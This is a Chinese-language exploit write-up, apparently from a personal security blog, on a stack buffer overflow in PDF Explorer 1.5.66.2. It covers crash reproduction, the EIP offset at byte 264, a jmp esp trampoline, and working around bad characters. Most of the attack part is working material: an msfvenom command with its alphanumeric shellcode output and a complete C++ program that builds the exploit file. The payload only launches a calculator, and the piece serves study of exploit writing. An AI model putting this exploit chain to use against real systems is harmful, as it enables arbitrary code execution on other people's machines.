漏洞简介:
漏洞编号:无
漏洞类型:栈溢出
软件简介:PDF Explorer 是一款 PDF 和信息交换所机制的文件管理软件。它允许您使用元数据字段轻松地将所有PDF文档索引到数据库文件:文件名,文件大小,文件日期,标题,主题,作者,创建者,创建者,创建日期,修改日期和页数。还有 100 个自定义元数据字段可用于包含自定义元数据。
漏洞简介:由于对用户输入内容长度没有限制造成栈溢出(经典的栈溢出),更多漏洞信息见exploit-db相关链接(参考资料[1-2])
实验环境
- 虚拟机:Windows7sp1 x86
- 软件:PDF Explorer 1.5.66.2
漏洞验证
打开PDF Explorer软件,Database->Custom fields settings,弹出如下界面:
**PS:**这里除了这个Label的编辑框之外,旁边的Preferred prefix和path编辑框也存在同样的栈溢出漏洞,果然,同一个错误很容易犯很多次
往这个Label处输入超长字符串,比如1000个A,程序会奔溃,并且eip执行到了可控的地方
漏洞利用
使用x86dbg插件checksec查看模块漏洞缓解措施:啥也没有
那写利用就简单多了(才不是):
- 找到可控的跳转位置
- 构造跳板,跳转到shellcode上去执行
可以通过生成pattern字符,来定位最后跳转到的eip所对应输入的位置:
char* pattern =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"
"9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"
"Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"
"i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9";
异常时eip是:0x41386941,使用工具定位结果如下:位于第264字节处
----------------------------------------------------------------------
Value found reversed at postiont 264 in pattern.
----------------------------------------------------------------------
接下来要做的就是在这里填入一个跳板,好让程序跳转到shellcode上,shellcode作为输入参与栈溢出,所以shellcode位于栈上
查看当前的栈:
return之后,esp+=12,这里应该是ret c
指令来返回的,此时的esp指向这个位置
所以此时的策略是:在这个esp处填入shellcode,然后ret的那个地址找一个jmp esp指令来跳转
踩坑记录:!!!
当我使用msfvenom生成普通的弹出计算器的shellcode时,发现shellcode里出现了0x00坏字符,该字符会导致字符串被截断,以至于shellcode无法完整出现在栈中,固使用
-b
参数来规避0x00的出现然后我发现问题没有这么简单,除了0x00,还有很多字节复制到编辑框之后会消失,经过测试发现,部分不可见字符通过复制,可以输入到编辑框中,但部分不行
此时的一个突发奇想就是,能不能让shellcode变成纯字符版本呢?通过查阅资料[3],得知了工具alpha可以完成这项工作,将shellcode转换成纯字符shellcode,于是就去github下载下来,但发现用我的python3.9根本无法执行这个py脚本,各种乱七八糟的报错,emmm,于是,由原本的一个问题变成了两个问题需要解决
经过一晚上的挣扎(摆烂),最后惊奇的发现,msfvenom自带了这种编码…(早知道先去看msf了)
shellcode生成:
┌──(selph㉿kali)-[~]
└─$ msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed BufferRegister=esp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 440 (iteration=0)
x86/alpha_mixed chosen with final size 440
Payload size: 440 bytes
TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjHK2s07pC0CPK9heUakp2DLKbpVPNkf2dLnkV2ftlKsBex6ox7SzvFUakOllUl51CLs2VLWPO1Jofm31ZgM2kB0RCglK0RFpLKSzGLlK2lR1d8Ysg8uQn1rqnkRygP6aN3LKW9289sejPInkGDnkgqYFFQionLiQjoTMwqZgehip3EJVFcqmJXUk1m14CEhd3hLKshQ4gqjsavlKflPKnk3huLgqyClK7tLKWqN0lI74FD6D1KckQq69cjcakOM0qO3oCjnkB2hkNmqMcZ6aLMLEMbuP305P2pCXtqlK2OlGYoiEoKjP85mrsfsXY6z5OMomioN5wLC63LVjk0YkKPCEguoK2g7c2RPo2J7prs9o8Uqsu12LE3fNbEsHau5PAA
**PS:**这里exploit-db上面的exp(参考资料[2]),在我的环境下经测试,不可用
exp
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <fstream>
char* shellcode = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjHK2s07pC0CPK9heUakp2DLKbpVPNkf2dLnkV2ftlKsBex6ox7SzvFUakOllUl51CLs2VLWPO1Jofm31ZgM2kB0RCglK0RFpLKSzGLlK2lR1d8Ysg8uQn1rqnkRygP6aN3LKW9289sejPInkGDnkgqYFFQionLiQjoTMwqZgehip3EJVFcqmJXUk1m14CEhd3hLKshQ4gqjsavlKflPKnk3huLgqyClK7tLKWqN0lI74FD6D1KckQq69cjcakOM0qO3oCjnkB2hkNmqMcZ6aLMLEMbuP305P2pCXtqlK2OlGYoiEoKjP85mrsfsXY6z5OMomioN5wLC63LVjk0YkKPCEguoK2g7c2RPo2J7prs9o8Uqsu12LE3fNbEsHau5PAA";
char buffer[2000] = { 0 };
int main()
{
// 构造payload
memset(buffer, 'A', 264);
char* payload =
"\xa7\x87\x15\x77" //jmp esp 771587a7
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90";
strcat(buffer, payload);
strcat(buffer, shellcode);
// 写入文件
std::ofstream o;
o.open("poc.txt", std::ios::out | std::ios::trunc);
o << buffer << std::endl;
// 关闭文件
o.close();
return 0;
}
效果:程序崩掉,弹窗计算器
总结
平平无奇的经典栈溢出,本漏洞的收获在于构造有限制的shellcode,了解纯字符shellcode并进行实践使用
参考资料
- [1] PDF Explorer 1.5.66.2 - Denial of Service (PoC) - Windows dos Exploit (exploit-db.com)
- [2] PDF Explorer 1.5.66.2 - Buffer Overflow (SEH) - Windows local Exploit (exploit-db.com)
- [3] 纯字符shellcode生成指南 | TaQini